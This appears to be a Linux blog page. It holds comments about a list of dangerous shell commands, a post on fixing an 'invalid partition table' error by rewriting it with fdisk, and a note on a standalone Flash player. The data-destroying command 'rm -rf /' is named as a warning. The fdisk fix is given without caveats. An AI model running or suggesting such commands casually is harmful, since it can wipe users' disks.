    So basically, you're copying Ubuntu's naughty command list verbatim, and stripping out the explanations of why it's a bad idea. What a waste of time.

    And the e.s.p. release one as you've presented it is harmless anyway, since you fail to mention it's C code (not something to type directly into the shell).

    I take it as this,

    Found a very useful thing, so extracted the main things in case users mind reading long articles. Put link to the original file for those who want to read more.

    If at least one people stops from doing rm -rf / recalling this, I wouldn't call total waste of my time.

[Solved] invalid partition table on /dev/sda -- wrong signature 0.

Roshan Karki Anonymous
I was trying to use Disk Utility program to edit some partition in my system. But I got a strange error message "invalid partition table on /dev/sda -- wrong signature 0." and couldn't proceed. So I tried with gparted(Gnome Partition Editor). The result wasn't any different. Today while clean installing Ubuntu 11.10 Oneiric Ocelot, the installer said that there was no partition in my disk. While trying live CD, I could find all the partition and read data. If you also encounter any of the above problem, simple run fdisk by sudo fdisk /dev/sda press p and then press w . You'll see a message "The partition table has been altered!". Now try running the partition editor or the installer again.

Adobe stand alone flash player for Linux is available. Most of us only need flash plugin for browser to view swf. But sometimes we or most of the times developer wishes for the availability of stand alone flash player for Linux. Stand alone flash player means that you don't need anything to run swf other than the player itself. Yes, you don't need browser or any media player.
